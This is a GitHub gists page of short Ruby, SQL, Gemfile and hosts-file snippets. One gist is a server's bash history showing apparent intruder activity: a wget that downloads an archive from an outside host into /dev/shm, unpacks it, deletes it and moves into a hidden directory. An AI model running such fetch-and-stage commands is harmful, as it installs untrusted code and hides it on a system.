This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'benchmark' | |
def implicit_return | |
arr = (1..1000).to_a | |
arr.inject({}) do |mem, item| | |
mem[item.to_s] = item | |
mem | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>> i = a.each | |
=> #<Enumerator: [1, 2, 3]:each> | |
>> loop do | |
?> puts i.next | |
>> end | |
1 | |
2 | |
3 | |
=> nil | |
>> i = a.each |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Block Facebook | |
127.0.0.1 www.facebook.com | |
127.0.0.1 facebook.com | |
127.0.0.1 static.ak.fbcdn.net | |
127.0.0.1 www.static.ak.fbcdn.net | |
127.0.0.1 login.facebook.com | |
127.0.0.1 www.login.facebook.com | |
127.0.0.1 fbcdn.net | |
127.0.0.1 www.fbcdn.net | |
127.0.0.1 fbcdn.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ruby-1.9.2-p136 :001 > (1..5).each {|n| puts n; break} | |
1 | |
=> nil | |
ruby-1.9.2-p136 :002 > |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
keeran@localhost:/home/deploy$ sudo cat .bash_history | |
passwd | |
cat /etc/issue | |
cd /dev/shm | |
ls | |
ls -la | |
wget rocsana4u.webs.com/joke/s.tgz | |
tar xvf s.tgz | |
rm -rf s.tgz | |
cd .joke/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[2010-10-17 02:33:15] ERROR Errno::ECONNRESET: Connection reset by peer | |
/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/httpserver.rb:56:in `eof?' | |
/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/httpserver.rb:56:in `run' | |
/home/keeran/.rvm/rubies/ruby-1.9.2-p0/lib/ruby/1.9.1/webrick/server.rb:183:in `block in start_thread' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
group :test, :cucumber do | |
gem 'capybara', :git => 'git://github.com/keeran/capybara.git' | |
gem 'selenium-webdriver', '0.0.27' | |
gem 'database_cleaner' | |
gem 'cucumber-rails' | |
gem 'cucumber' | |
gem 'rspec' | |
gem 'rspec-rails', ">= 2.0.0.beta.17" | |
gem 'spork' | |
gem 'launchy' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Posts < ActiveRecord::Base | |
belongs_to :user | |
scope :extra, where(:extra => true) | |
def self.optional_scope(param = false) | |
if param | |
scope = where(:something => 'else') | |
else | |
scope = self | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT hour(created_at) as hour, count(hour(created_at)) as total FROM audit_logs group by hour(created_at) order by total DESC |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
scope :has_all_items_in_state, lambda {|item_states| | |
{ | |
:joins => :order_items, :conditions => { :order_items => { :state => item_states}}, | |
:select => "orders.*, COUNT(order_items.id) as item_count", | |
:group => "orders.id", | |
:having => "item_count = (select count(*) from order_items where order_id = orders.id)" | |
} | |
} |
NewerOlder